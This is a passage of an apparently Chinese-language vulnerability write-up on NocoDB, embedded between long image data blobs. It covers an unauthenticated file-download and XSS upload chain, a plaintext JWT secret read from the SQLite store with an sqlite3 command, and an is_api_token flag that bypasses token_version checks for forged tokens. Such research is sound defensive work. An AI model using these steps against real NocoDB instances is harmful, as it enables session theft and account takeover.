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) + +(object-hash 库生成),但下载路由不校验访问者身份,所以知道路径就能读。hash 不是加密安全的随机数——但对于攻击者来说不需要逆向 hash,路径可以通过上传接口响应直接拿到。 + + +### 4.6 攻击链汇总 + + +三个问题叠加: + +1 上传不限制类型——AnyFilesInterceptor + UploadAllowedInterceptor 不做 MIME 校验 +2 下载不需要认证——三个下载路由全没挂守卫 +3 不按用户隔离——知道路径就能读任何人的文件 +实际攻击链路: + +注册 → 上传恶意HTML → 获取文件URL → 发给其他NocoDB用户 → XSS执行 + +如果是内网环境,攻击者注册后上传一个含 XSS 的 HTML 附件,然后把链接通过 NocoDB 的评论/分享功能发给其他用户。用户的 nc\_token Cookie 在 path: '/api' 范围内有效,XSS 可以通过 fetch('/api/v1/auth/user/me', {credentials: 'include'}) 拿到用户信息。 + +如果这个 NocoDB 实例和敏感服务共享域名或者存储卷,还可以尝试上传 .env 配置文件、PHP webshell(如果有 PHP 解析服务)等形式。虽然需要一定条件才能触发,但攻击面确实存在。 + + +## 五、JWT密钥与Token伪造 + + +前面的 5 个攻击面都是配置层面的功能缺失。这个发现不太一样——它不是"配置没开",而是"默认架构的设计缺陷"。 + + +### 5.1 nc\_store 表里的秘密 + + +NocoDB 默认使用 SQLite 作为配置数据库(也支持 MySQL/PostgreSQL)。在默认 Docker 部署中,数据库文件位于 /usr/app/data/noco.db。 + +我最初翻数据库是想确认 token\_version 字段的存储方式——看它是存在用户表里还是缓存表里。结果在 nc\_store 表里看到了意外的东西: + + +``` +$ sqlite3 /usr/app/data/noco.db "SELECT * FROM nc_store WHERE key = 'nc_auth_jwt_secret';" +2||db|nc_auth_jwt_secret|36361e58-321d-4198-a204-6e5341e73f82 +``` + +sqlite3 不在容器里,我是通过 docker cp 把数据库拷到宿主机上查的。nc\_store 是个 key-value 表,nc\_auth\_jwt\_secret 的 value 是 UUID 格式的字符串。这个值就是 JWT 的 HMAC-SHA256 签名密钥。 + +密钥直接明文存——没有加密,没有访问控制。只要攻击者能读取数据库文件(备份泄露、容器逃逸、路径穿越),就能拿到这个密钥。 + +源码 Noco.ts 里的 initJwt() 方法(line 263-292)揭示了这个密钥的加载过程: + + +``` +public static async initJwt(): Promise { + if (this.config?.auth?.jwt) { + if (!this.config.auth.jwt.secret) { + let secret = (await this._ncMeta.metaGet( + RootScopes.ROOT, RootScopes.ROOT, + MetaTable.STORE, + { key: 'nc_auth_jwt_secret' }, + ))?.value; + + if (!secret) { + await this._ncMeta.metaInsert2( + RootScopes.ROOT, RootScopes.ROOT, + MetaTable.STORE, + { key: 'nc_auth_jwt_secret', value: (secret = uuidv4()) }, + true, + ); + } + this.config.auth.jwt.secret = secret; + } + // ... + } +} +``` + +逻辑很清楚:首次启动时用 uuidv4() 生成随机密钥存入数据库,后续从数据库读取。密钥只用了一次随机生成,之后一直复用——不会轮换,不会过期。 + + +### 5.2 is\_api\_token 绕过 token\_version 校验 + + +有了 JWT 签名密钥就能伪造 Token。但 JwtStrategy 在校验时还有一个 token\_version 检查。 + +看 strategies/jwt.strategy.ts 的代码: + + +``` +async validate(req, jwtPayload) { + if (!jwtPayload?.email || jwtPayload?.is_api_token || jwtPayload?.is_oauth_token) + return jwtPayload; + + const user = await User.getByEmail(jwtPayload?.email); + if (!user) NcError.unauthorized('Token Expired...'); + + if (user.token_version !== jwtPayload.token_version) { + NcError.unauthorized('Token Expired. Please login again.'); + } + // ... +} +``` + +读到这里我停了一下。第三行——如果 payload 里设置了 is\_api\_token: true,直接返回 payload,不查数据库,不比 token\_version。等等,那 token\_version 检查不就被跳过了吗? + +试一下伪造一个 JWT,payload + + +![](data:image/png;base64,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